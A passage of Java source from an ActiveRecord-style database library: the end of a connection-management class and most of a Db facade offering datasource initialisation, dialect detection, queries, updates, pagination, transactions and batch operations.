ThreadLocal\n\t */\n\tpublic Connection getConnection() throws SQLException {\n\t\tConnection conn = threadLocal.get();\n\t\tif (conn != null)\n\t\t\treturn conn;\n\t\treturn showSql ? new SqlReporter(dataSource.getConnection()).getConnection() : dataSource.getConnection();\n\t}\n\t\n\t/**\n\t * Helps to implement nested transaction.\n\t * Tx.intercept(...) and Db.tx(...) need this method to detected if it in nested transaction.\n\t */\n\tpublic Connection getThreadLocalConnection() {\n\t\treturn threadLocal.get();\n\t}\n\t\n\t/**\n\t * Return true if current thread in transaction.\n\t */\n\tpublic boolean isInTransaction() {\n\t\treturn threadLocal.get() != null;\n\t}\n\t\n\t/**\n\t * Close ResultSet、Statement、Connection\n\t * ThreadLocal support declare transaction.\n\t */\n\tpublic void close(ResultSet rs, Statement st, Connection conn) {\n\t\tif (rs != null) {try {rs.close();} catch (SQLException e) {LogKit.error(e.getMessage(), e);}}\n\t\tif (st != null) {try {st.close();} catch (SQLException e) {\n\t\t\tLogKit.error(e.getMessage(), e);}}\n\t\t\n\t\tif (threadLocal.get() == null) {\t// in transaction if conn in threadlocal\n\t\t\tif (conn != null) {try {conn.close();}\n\t\t\tcatch (SQLException e) {throw new ActiveRecordException(e);}}\n\t\t}\n\t}\n\t\n\tpublic void close(Statement st, Connection conn) {\n\t\tif (st != null) {try {st.close();} catch (SQLException e) {LogKit.error(e.getMessage(), e);}}\n\t\t\n\t\tif (threadLocal.get() == null) {\t// in transaction if conn in threadlocal\n\t\t\tif (conn != null) {try {conn.close();}\n\t\t\tcatch (SQLException e) {throw new ActiveRecordException(e);}}\n\t\t}\n\t}\n\t\n\tpublic void close(Connection conn) {\n\t\tif (threadLocal.get() == null)\t\t// in transaction if conn in threadlocal\n\t\t\tif (conn != null)\n\t\t\t\ttry {conn.close();} catch (SQLException e) {throw new ActiveRecordException(e);}\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/Db.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.time.LocalDateTime;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.Future;\nimport java.util.function.Function;\n\nimport javax.sql.DataSource;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.dialect.*;\nimport io.github.wujun728.db.record.kit.SyncWriteMap;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * Db. Powerful database query and update tool box.\n */\n@Slf4j\n@SuppressWarnings(\"rawtypes\")\npublic class Db<T> {\n\t\n\t\n\tprivate static DbPro MAIN = null;\n\n\tpublic static final String main = \"main\";\n\n\tprivate static final Map<String, DbPro> cache = new SyncWriteMap<String, DbPro>(32, 0.25F);\n\n\tstatic {\n\t\ttry {\n\t\t\tDataSource dataSource = SpringUtil.getBean(DataSource.class);\n\t\t\tif (dataSource != null) {\n\t\t\t\tDb.init(Db.main, dataSource);\n\t\t\t\tDataSourcePool.init(main, dataSource);\n\t\t\t\tlog.info(\"main数据源，当前默认注入容器DataSource数据源到DbPro。\");\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"warning : Db.init 初始化失败， 当前非Spring容器运行，请手动初始化Db.init的数据源。\" + e.getMessage());\n\t\t}\n\t}\n\t\n\tpublic static void init(String jdbcURL, String jdbcUser, String jdbcPassword) {\n\t\tinit(DbKit.MAIN_CONFIG_NAME,\"com.mysql.cj.jdbc.Driver\",jdbcURL,jdbcUser,jdbcPassword,null,null,false);\n\t}\n\t\n\tpublic static void init(String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword) {\n\t\tinit(DbKit.MAIN_CONFIG_NAME,jdbcDriver,jdbcURL,jdbcUser,jdbcPassword,null,null,false);\n\t}\n\t\n\tpublic static void init(String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword,Integer transactionLevel) {\n\t\tinit(DbKit.MAIN_CONFIG_NAME,jdbcDriver,jdbcURL,jdbcUser,jdbcPassword,transactionLevel,null,false);\n\t}\n\t\n\tpublic static void init(String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword, Integer transactionLevel, Dialect dialect) {\n\t\tinit(DbKit.MAIN_CONFIG_NAME,jdbcDriver,jdbcURL,jdbcUser,jdbcPassword,transactionLevel,dialect,false);\n\t}\n\t\n\tpublic static void init(String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword,Integer transactionLevel,Dialect dialect,Boolean showSql) {\n\t\tinit(DbKit.MAIN_CONFIG_NAME,jdbcDriver,jdbcURL,jdbcUser,jdbcPassword,transactionLevel,dialect,showSql);\n\t}\n\t\n\tpublic static void initAlias(String configName,String jdbcURL, String jdbcUser, String jdbcPassword) {\n\t\tinit(configName,\"com.mysql.cj.jdbc.Driver\",jdbcURL,jdbcUser,jdbcPassword,null,null,false);\n\t}\n\t\n\tpublic static void initAlias(String configName,String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword) {\n\t\tinit(configName,jdbcDriver,jdbcURL,jdbcUser,jdbcPassword,null,null,false);\n\t}\n\t\n\tstatic void init(String configName,String jdbcDriver, String jdbcURL, String jdbcUser, String jdbcPassword,Integer transactionLevel,Dialect dialect,Boolean showSql) {\n\t\tDruidDataSource dataSource = new DruidDataSource();\n\t\tdataSource.setUrl(jdbcURL);\n\t\tdataSource.setUsername(jdbcUser);\n\t\tdataSource.setPassword(jdbcPassword);\n\t\tdataSource.setDriverClassName(jdbcDriver);\n\t\tdataSource.setInitialSize(5);\n\t\tdataSource.setMinIdle(5);\n\t\tdataSource.setMaxActive(20);\n\t\tdialect = getDialect(dialect, dataSource);\n\t\tinit(configName,dataSource,transactionLevel,dialect,showSql);\n\t}\n\n\tprivate static Dialect getDialect(Dialect dialect, DataSource dataSource) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = dataSource.getConnection();\n\t\t\tString dbName = conn.getMetaData().getDatabaseProductName();\n\t\t\tif(dbName.equalsIgnoreCase(\"Oracle\")){\n\t\t\t\treturn new OracleDialect();\n\t\t\t}else if(dbName.equalsIgnoreCase(\"mysql\")){\n\t\t\t\treturn new MysqlDialect();\n\t\t\t}else if(dbName.equalsIgnoreCase(\"sqlite\")){\n\t\t\t\treturn new Sqlite3Dialect();\n\t\t\t}else if(dbName.equalsIgnoreCase(\"postgresql\")){\n\t\t\t\treturn new PostgreSqlDialect();\n\t\t\t}else{\n\t\t\t\treturn new AnsiSqlDialect();\n\t\t\t}\n\t\t} catch (SQLException e){\n\t\t\tthrow new ActiveRecordException(\"获取数据库连接失败\");\n\t\t}finally {\n\t\t\tif (conn != null){\n\t\t\t\ttry {conn.close();} catch (SQLException e) {throw new ActiveRecordException(e);}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void init(DataSource dataSource) {\n\t\tinit(\"main\", dataSource,DbKit.DEFAULT_TRANSACTION_LEVEL,getDialect(null, dataSource),true);\n\t}\n\tpublic static void init(String configName,DataSource dataSource) {\n\t\tinit(configName, dataSource,DbKit.DEFAULT_TRANSACTION_LEVEL,getDialect(null, dataSource),true);\n\t}\n//\tpublic static void init(String configName,DataSource dataSource) {\n//\t\tinit(configName, dataSource,DbKit.DEFAULT_TRANSACTION_LEVEL,getDialect(null, dataSource),true);\n//\t}\n\tpublic static void init(String configName,DataSource dataSource,Integer transactionLevel,Dialect dialect,Boolean showSql) {\n//\t\tif (containerFactory == null) {\n//\t\t\tthrow new IllegalArgumentException(\"containerFactory can not be null\");\n//\t\t}\n//\t\tif (cache == null) {\n//\t\t\tthrow new IllegalArgumentException(\"cache can not be null\");\n//\t\t}\n//\t\tConfig\tconfig = new Config(configName, dataSource, dialect, showSql, transactionLevel);\n\t\tConfig\tconfig = new Config(configName, dataSource, dialect,true,true,DbKit.DEFAULT_TRANSACTION_LEVEL, IContainerFactory.defaultContainerFactory);\n\t\tDbKit.addConfig(config);\n\t\tMAIN = DbPro.use(configName);\n\t}\n\t\n\t\t/**\n\t * for DbKit.addConfig(configName)\n\t */\n\tstatic void init(String configName) {\n\t\tMAIN = DbKit.getConfig(configName).dbProFactory.getDbPro(configName); // new DbPro(configName);\n\t\tcache.put(configName, MAIN);\n\t}\n\t\n    /**\n     * for DbKit.removeConfig(configName)\n     */\n    public static void removeDbProWithConfig(String configName) {\n    \tif (MAIN != null && MAIN.config.getName().equals(configName)) {\n    \t\tMAIN = null;\n    \t}\n    \tcache.remove(configName);\n    }\n    \n    public static DbPro use(String configName) {\n\t\tDbPro result = cache.get(configName);\n\t\tif (result == null) {\n\t\t\tConfig config = DbKit.getConfig(configName);\n\t\t\tif (config == null) {\n\t\t\t\tthrow new IllegalArgumentException(\"Config not found by configName: \" + configName);\n\t\t\t}\n\t\t\tresult = config.dbProFactory.getDbPro(configName);\t// new DbPro(configName);\n\t\t\tcache.put(configName, result);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tpublic static DbPro use() {\n\t\treturn MAIN;\n\t}\n\t\n\tstatic <T> List<T> query(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\treturn MAIN.query(config, conn, sql, paras);\n\t}\n\t\n\t/**\n\t */\n\tpublic static <T> List<T> query(String sql, Object... paras) {\n\t\treturn MAIN.query(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #query(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic static <T> List<T> query(String sql) {\n\t\treturn MAIN.query(sql);\n\t}\n\t\n\t/**\n\t * Execute sql query and return the first result. I recommend add \"limit 1\" in your sql.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return Object[] if your sql has select more than one column,\n\t * \t\t\tand it return Object if your sql has select only one column.\n\t */\n\tpublic static <T> T queryFirst(String sql, Object... paras) {\n\t\treturn MAIN.queryFirst(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #queryFirst(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic static <T> T queryFirst(String sql) {\n\t\treturn MAIN.queryFirst(sql);\n\t}\n\t\n\t// 26 queryXxx method below -----------------------------------------------\n\t/**\n\t * Execute sql query just return one column.\n\t * @param <T> the type of the column that in your sql's select statement\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return <T> T\n\t */\n\tpublic static <T> T queryColumn(String sql, Object... paras) {\n\t\treturn MAIN.queryColumn(sql, paras);\n\t}\n\t\n\tpublic static <T> T queryColumn(String sql) {\n\t\treturn MAIN.queryColumn(sql);\n\t}\n\t\n\tpublic static String queryStr(String sql, Object... paras) {\n\t\treturn MAIN.queryStr(sql, paras);\n\t}\n\t\n\tpublic static String queryStr(String sql) {\n\t\treturn MAIN.queryStr(sql);\n\t}\n\t\n\tpublic static Integer queryInt(String sql, Object... paras) {\n\t\treturn MAIN.queryInt(sql, paras);\n\t}\n\t\n\tpublic static Integer queryInt(String sql) {\n\t\treturn MAIN.queryInt(sql);\n\t}\n\t\n\tpublic static Long queryLong(String sql, Object... paras) {\n\t\treturn MAIN.queryLong(sql, paras);\n\t}\n\t\n\tpublic static Long queryLong(String sql) {\n\t\treturn MAIN.queryLong(sql);\n\t}\n\t\n\tpublic static Double queryDouble(String sql, Object... paras) {\n\t\treturn MAIN.queryDouble(sql, paras);\n\t}\n\t\n\tpublic static Double queryDouble(String sql) {\n\t\treturn MAIN.queryDouble(sql);\n\t}\n\t\n\tpublic static Float queryFloat(String sql, Object... paras) {\n\t\treturn MAIN.queryFloat(sql, paras);\n\t}\n\t\n\tpublic static Float queryFloat(String sql) {\n\t\treturn MAIN.queryFloat(sql);\n\t}\n\t\n\tpublic static BigDecimal queryBigDecimal(String sql, Object... paras) {\n\t\treturn MAIN.queryBigDecimal(sql, paras);\n\t}\n\t\n\tpublic static BigDecimal queryBigDecimal(String sql) {\n\t\treturn MAIN.queryBigDecimal(sql);\n\t}\n\t\n\tpublic static BigInteger queryBigInteger(String sql, Object... paras) {\n\t\treturn MAIN.queryBigInteger(sql, paras);\n\t}\n\t\n\tpublic static BigInteger queryBigInteger(String sql) {\n\t\treturn MAIN.queryBigInteger(sql);\n\t}\n\t\n\tpublic static byte[] queryBytes(String sql, Object... paras) {\n\t\treturn MAIN.queryBytes(sql, paras);\n\t}\n\t\n\tpublic static byte[] queryBytes(String sql) {\n\t\treturn MAIN.queryBytes(sql);\n\t}\n\t\n\tpublic static java.util.Date queryDate(String sql, Object... paras) {\n\t\treturn MAIN.queryDate(sql, paras);\n\t}\n\t\n\tpublic static java.util.Date queryDate(String sql) {\n\t\treturn MAIN.queryDate(sql);\n\t}\n\t\n\tpublic static LocalDateTime queryLocalDateTime(String sql, Object... paras) {\n\t\treturn MAIN.queryLocalDateTime(sql, paras);\n\t}\n\t\n\tpublic static LocalDateTime queryLocalDateTime(String sql) {\n\t\treturn MAIN.queryLocalDateTime(sql);\n\t}\n\t\n\tpublic static java.sql.Time queryTime(String sql, Object... paras) {\n\t\treturn MAIN.queryTime(sql, paras);\n\t}\n\t\n\tpublic static java.sql.Time queryTime(String sql) {\n\t\treturn MAIN.queryTime(sql);\n\t}\n\t\n\tpublic static java.sql.Timestamp queryTimestamp(String sql, Object... paras) {\n\t\treturn MAIN.queryTimestamp(sql, paras);\n\t}\n\t\n\tpublic static java.sql.Timestamp queryTimestamp(String sql) {\n\t\treturn MAIN.queryTimestamp(sql);\n\t}\n\t\n\tpublic static Boolean queryBoolean(String sql, Object... paras) {\n\t\treturn MAIN.queryBoolean(sql, paras);\n\t}\n\t\n\tpublic static Boolean queryBoolean(String sql) {\n\t\treturn MAIN.queryBoolean(sql);\n\t}\n\t\n\tpublic static Short queryShort(String sql, Object... paras) {\n\t\treturn MAIN.queryShort(sql, paras);\n\t}\n\t\n\tpublic static Short queryShort(String sql) {\n\t\treturn MAIN.queryShort(sql);\n\t}\n\t\n\tpublic static Byte queryByte(String sql, Object... paras) {\n\t\treturn MAIN.queryByte(sql, paras);\n\t}\n\t\n\tpublic static Byte queryByte(String sql) {\n\t\treturn MAIN.queryByte(sql);\n\t}\n\t\n\tpublic static Number queryNumber(String sql, Object... paras) {\n\t\treturn MAIN.queryNumber(sql, paras);\n\t}\n\t\n\tpublic static Number queryNumber(String sql) {\n\t\treturn MAIN.queryNumber(sql);\n\t}\n\t// 26 queryXxx method under -----------------------------------------------\n\t\n\t/**\n\t * Execute sql update\n\t */\n\tstatic int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\treturn MAIN.update(config, conn, sql, paras);\n\t}\n\t\n\t/**\n\t * Execute update, insert or delete sql statement.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return either the row count for <code>INSERT</code>, <code>UPDATE</code>,\n     *         or <code>DELETE</code> statements, or 0 for SQL statements \n     *         that return nothing\n\t */\n\tpublic static int update(String sql, Object... paras) {\n\t\treturn MAIN.update(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #update(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic static int update(String sql) {\n\t\treturn MAIN.update(sql);\n\t}\n\t\n\tstatic List<Record> find(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\treturn MAIN.find(config, conn, sql, paras);\n\t}\n\t\n\t/**\n\t */\n\tpublic static List<Record> find(String sql, Object... paras) {\n\t\treturn MAIN.find(sql, paras);\n\t}\n\n\t/**\n\t * @param sql the sql statement\n\t */\n\tpublic static List<Record> find(String sql) {\n\t\treturn MAIN.find(sql);\n\t}\n\t\n\tpublic static List<Record> findAll(String tableName) {\n\t\treturn MAIN.findAll(tableName);\n\t}\n\t\n\t/**\n\t * Find first record. I recommend add \"limit 1\" in your sql.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the Record object\n\t */\n\tpublic static Record findFirst(String sql, Object... paras) {\n\t\treturn MAIN.findFirst(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #findFirst(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic static Record findFirst(String sql) {\n\t\treturn MAIN.findFirst(sql);\n\t}\n\t\n\t/**\n\t * Find record by id with default primary key.\n\t * <pre>\n\t * Example:\n\t * Record user = Db.findById(\"user\", 15);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param idValue the id value of the record\n\t */\n\tpublic static Record findById(String tableName, Object idValue) {\n\t\treturn MAIN.findById(tableName, idValue);\n\t}\n\t\n\tpublic static Record findById(String tableName, String primaryKey, Object idValue) {\n\t\treturn MAIN.findById(tableName, primaryKey, idValue);\n\t}\n\t\n\t/**\n\t * Find record by ids.\n\t * <pre>\n\t * Example:\n\t * Record user = Db.findByIds(\"user\", \"user_id\", 123);\n\t * Record userRole = Db.findByIds(\"user_role\", \"user_id, role_id\", 123, 456);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param idValues the id value of the record, it can be composite id values\n\t */\n\tpublic static Record findByIds(String tableName, String primaryKey, Object... idValues) {\n\t\treturn MAIN.findByIds(tableName, primaryKey, idValues);\n\t}\n\t\n\t/**\n\t * Delete record by id with default primary key.\n\t * <pre>\n\t * Example:\n\t * Db.deleteById(\"user\", 15);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param idValue the id value of the record\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic static boolean deleteById(String tableName, Object idValue) {\n\t\treturn MAIN.deleteById(tableName, idValue);\n\t}\n\t\n\tpublic static boolean deleteById(String tableName, String primaryKey, Object idValue) {\n\t\treturn MAIN.deleteById(tableName, primaryKey, idValue);\n\t}\n\t\n\t/**\n\t * Delete record by ids.\n\t * <pre>\n\t * Example:\n\t * Db.deleteByIds(\"user\", \"user_id\", 15);\n\t * Db.deleteByIds(\"user_role\", \"user_id, role_id\", 123, 456);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param idValues the id value of the record, it can be composite id values\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic static boolean deleteByIds(String tableName, String primaryKey, Object... idValues) {\n\t\treturn MAIN.deleteByIds(tableName, primaryKey, idValues);\n\t}\n\t\n\t/**\n\t * Delete record.\n\t * <pre>\n\t * Example:\n\t * boolean succeed = Db.delete(\"user\", \"id\", user);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the record\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic static boolean delete(String tableName, String primaryKey, Record record) {\n\t\treturn MAIN.delete(tableName, primaryKey, record);\n\t}\n\t\n\t/**\n\t * <pre>\n\t * Example:\n\t * boolean succeed = Db.delete(\"user\", user);\n\t * </pre>\n\t * @see #delete(String, String, Record)\n\t */\n\tpublic static boolean delete(String tableName, Record record) {\n\t\treturn MAIN.delete(tableName, record);\n\t}\n\t\n\t/**\n\t * Execute delete sql statement.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the row count for <code>DELETE</code> statements, or 0 for SQL statements \n\t *         that return nothing\n\t */\n\tpublic static int delete(String sql, Object... paras) {\n\t\treturn MAIN.delete(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #delete(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic static int delete(String sql) {\n\t\treturn MAIN.delete(sql);\n\t}\n\t\n\tstatic Page<Record> paginate(Config config, Connection conn, int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) throws SQLException {\n\t\treturn MAIN.paginate(config, conn, pageNumber, pageSize, select, sqlExceptSelect, paras);\n\t}\n\t\n\t/**\n\t * Paginate.\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param select the select part of the sql statement\n\t * @param sqlExceptSelect the sql statement excluded select part\n\t * @param paras the parameters of sql\n\t * @return the Page object\n\t */\n\tpublic static Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n\t\treturn MAIN.paginate(pageNumber, pageSize, select, sqlExceptSelect, paras);\n\t}\n\t\n\tpublic static Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n\t\treturn MAIN.paginate(pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n\t}\n\t\n\t/**\n\t */\n\tpublic static Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n\t\treturn MAIN.paginate(pageNumber, pageSize, select, sqlExceptSelect);\n\t}\n\t\n\tpublic static Page<Record> paginateByFullSql(int pageNumber, int pageSize, String totalRowSql, String findSql, Object... paras) {\n\t\treturn MAIN.paginateByFullSql(pageNumber, pageSize, totalRowSql, findSql, paras);\n\t}\n\t\n\tpublic static Page<Record> paginateByFullSql(int pageNumber, int pageSize, boolean isGroupBySql, String totalRowSql, String findSql, Object... paras) {\n\t\treturn MAIN.paginateByFullSql(pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n\t}\n\t\n\tstatic boolean save(Config config, Connection conn, String tableName, String primaryKey, Record record) throws SQLException {\n\t\treturn MAIN.save(config, conn, tableName, primaryKey, record);\n\t}\n\t\n\t/**\n\t * Save record.\n\t * <pre>\n\t * Example:\n\t * Record userRole = new Record().set(\"user_id\", 123).set(\"role_id\", 456);\n\t * Db.save(\"user_role\", \"user_id, role_id\", userRole);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the record will be saved\n\t */\n\tpublic static boolean save(String tableName, String primaryKey, Record record) {\n\t\treturn MAIN.save(tableName, primaryKey, record);\n\t}\n\t\n\t/**\n\t * @see #save(String, String, Record)\n\t */\n\tpublic static boolean save(String tableName, Record record) {\n\t\treturn MAIN.save(tableName, record);\n\t}\n\t\n\tstatic boolean update(Config config, Connection conn, String tableName, String primaryKey, Record record) throws SQLException {\n\t\treturn MAIN.update(config, conn, tableName, primaryKey, record);\n\t}\n\t\n\t/**\n\t * Update Record.\n\t * <pre>\n\t * Example:\n\t * Db.update(\"user_role\", \"user_id, role_id\", record);\n\t * </pre>\n\t * @param tableName the table name of the Record save to\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the Record object\n\t */\n\tpublic static boolean update(String tableName, String primaryKey, Record record) {\n\t\treturn MAIN.update(tableName, primaryKey, record);\n\t}\n\t\n\t/**\n\t * Update record with default primary key.\n\t * <pre>\n\t * Example:\n\t * Db.update(\"user\", record);\n\t * </pre>\n\t * @see #update(String, String, Record)\n\t */\n\tpublic static boolean update(String tableName, Record record) {\n\t\treturn MAIN.update(tableName, record);\n\t}\n\t\n\t/**\n\t */\n\tpublic static Object execute(ICallback callback) {\n\t\treturn MAIN.execute(callback);\n\t}\n\t\n\t/**\n\t * Execute callback. It is useful when all the API can not satisfy your requirement.\n\t * @param config the Config object\n\t * @param callback the ICallback interface\n\t */\n\tstatic Object execute(Config config, ICallback callback) {\n\t\treturn MAIN.execute(config, callback);\n\t}\n\t\n\t/**\n\t * Execute transaction.\n\t * @param config the Config object\n\t * @param transactionLevel the transaction level\n\t * @param atom the atom operation\n\t * @return true if transaction executing succeed otherwise false\n\t */\n\tstatic boolean tx(Config config, int transactionLevel, IAtom atom) {\n\t\treturn MAIN.tx(config, transactionLevel, atom);\n\t}\n\t\n\t/**\n\t * Execute transaction with default transaction level.\n\t * @see #tx(int, IAtom)\n\t */\n\tpublic static boolean tx(IAtom atom) {\n\t\treturn MAIN.tx(atom);\n\t}\n\t\n\tpublic static boolean tx(int transactionLevel, IAtom atom) {\n\t\treturn MAIN.tx(transactionLevel, atom);\n\t}\n\t\n\t/**\n\t * 主要用于嵌套事务场景\n\t * \n\t * 实例：https://jfinal.com/feedback/4008\n\t * \n\t * 默认情况下嵌套事务会被合并成为一个事务，那么内层与外层任何地方回滚事务\n\t * 所有嵌套层都将回滚事务，也就是说嵌套事务无法独立提交与回滚\n\t * \n\t * 使用 txInNewThread(...) 方法可以实现层之间的事务控制的独立性\n\t * 由于事务处理是将 Connection 绑定到线程上的，所以 txInNewThread(...)\n\t * 通过建立新线程来实现嵌套事务的独立控制\n\t */\n\tpublic static Future<Boolean> txInNewThread(IAtom atom) {\n\t\treturn MAIN.txInNewThread(atom);\n\t}\n\t\n\tpublic static Future<Boolean> txInNewThread(int transactionLevel, IAtom atom) {\n\t\treturn MAIN.txInNewThread(transactionLevel, atom);\n\t}\n\t\n\t/**\n\t * Find Record by cache.\n\t * @see #find(String, Object...)\n\t * @param cacheName the cache name\n\t * @param key the key used to get date from cache\n\t * @return the list of Record\n\t */\n//\tpublic static List<Record> findByCache(String cacheName, Object key, String sql, Object... paras) {\n//\t\treturn MAIN.findByCache(cacheName, key, sql, paras);\n//\t}\n\t\n\t/**\n\t * @see #findByCache(String, Object, String, Object...)\n\t */\n//\tpublic static List<Record> findByCache(String cacheName, Object key, String sql) {\n//\t\treturn MAIN.findByCache(cacheName, key, sql);\n//\t}\n\t\n\t/**\n\t * Find first record by cache. I recommend add \"limit 1\" in your sql.\n\t * @see #findFirst(String, Object...)\n\t * @param cacheName the cache name\n\t * @param key the key used to get date from cache\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the Record object\n\t */\n//\tpublic static Record findFirstByCache(String cacheName, Object key, String sql, Object... paras) {\n//\t\treturn MAIN.findFirstByCache(cacheName, key, sql, paras);\n//\t}\n\t\n\t/**\n\t * @see #findFirstByCache(String, Object, String, Object...)\n\t */\n//\tpublic static Record findFirstByCache(String cacheName, Object key, String sql) {\n//\t\treturn MAIN.findFirstByCache(cacheName, key, sql);\n//\t}\n\t\n\t/**\n\t * Paginate by cache.\n\t * @see #paginate(int, int, String, String, Object...)\n\t * @return Page\n\t */\n//\tpublic static Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n//\t\treturn MAIN.paginateByCache(cacheName, key, pageNumber, pageSize, select, sqlExceptSelect, paras);\n//\t}\n//\n//\tpublic static Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n//\t\treturn MAIN.paginateByCache(cacheName, key, pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n//\t}\n\t\n\t/**\n\t * @see #paginateByCache(String, Object, int, int, String, String, Object...)\n\t */\n//\tpublic static Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n//\t\treturn MAIN.paginateByCache(cacheName, key, pageNumber, pageSize, select, sqlExceptSelect);\n//\t}\n\t\n\t/**\n\t * @see DbPro#batch(String, Object[][], int)\n     */\n    public static int[] batch(String sql, Object[][] paras, int batchSize) {\n    \treturn MAIN.batch(sql, paras, batchSize);\n    }\n\t\n\t/**\n\t * @see DbPro#batch(String, String, List, int)\n     */\n\tpublic static int[] batch(String sql, String columns, List modelOrRecordList, int batchSize) {\n\t\treturn MAIN.batch(sql, columns, modelOrRecordList, batchSize);\n\t}\n\t\n\t/**\n\t * @see DbPro#batch(List, int)\n     */\n    public static int[] batch(List<String> sqlList, int batchSize) {\n    \treturn MAIN.batch(sqlList, batchSize);\n    }\n    \n    /**\n\t * @see DbPro#batchSave(List, int)\n     */\n//    public static int[] batchSave(List<? extends Model> modelList, int batchSize) {\n//    \treturn MAIN.batchSave(modelList, batchSize);\n//    }\n    \n    /**\n\t * @see DbPro#batchSave(String, List, int)\n     */\n    public static int[] batchSave(String tableName, List<? extends Record> recordList, int batchSize) {\n    \treturn MAIN.batchSave(tableName, recordList, batchSize);\n    }\n    \n    /**\n\t * @see DbPro#batchUpdate(List, int)\n     */\n//    public static int[] batchUpdate(List<? extends Model> modelList, int batchSize) {\n//    \treturn MAIN.batchUpdate(modelList, batchSize);\n//    }\n    \n    /**\n\t * @see DbPro#batchUpdate(String, String, List, int)\n     */\n    public static int[] batchUpdate(String tableName, String primaryKey, List<? extends Record> recordList, int batchSize) {\n    \treturn MAIN.batchUpdate(tableName, primaryKey, recordList, batchSize);\n    }\n    \n    /**\n\t * @see DbPro#batchUpdate(String, List, int)\n     */\n    public static int[] batchUpdate(String tableName, List<? extends Record> recordList, int batchSize) {\n    \treturn MAIN.batchUpdate(tableName, recordList, batchSize);\n    }\n    \n//    public static String getSql(String key) {\n//    \treturn MAIN.getSql(key);\n//    }\n    \n    // 支持传入变量用于 sql 生成。为了避免用户将参数拼接在 sql 中引起 sql 注入风险，只在 SqlKit 中开放该功能\n    // public static String getSql(String key, Map data) {\n    //     return MAIN.getSql(key, data);\n    // }\n    \n//    public static SqlPara getSqlPara(String key, Record record) {\n//    \treturn MAIN.getSqlPara(key, record);\n//    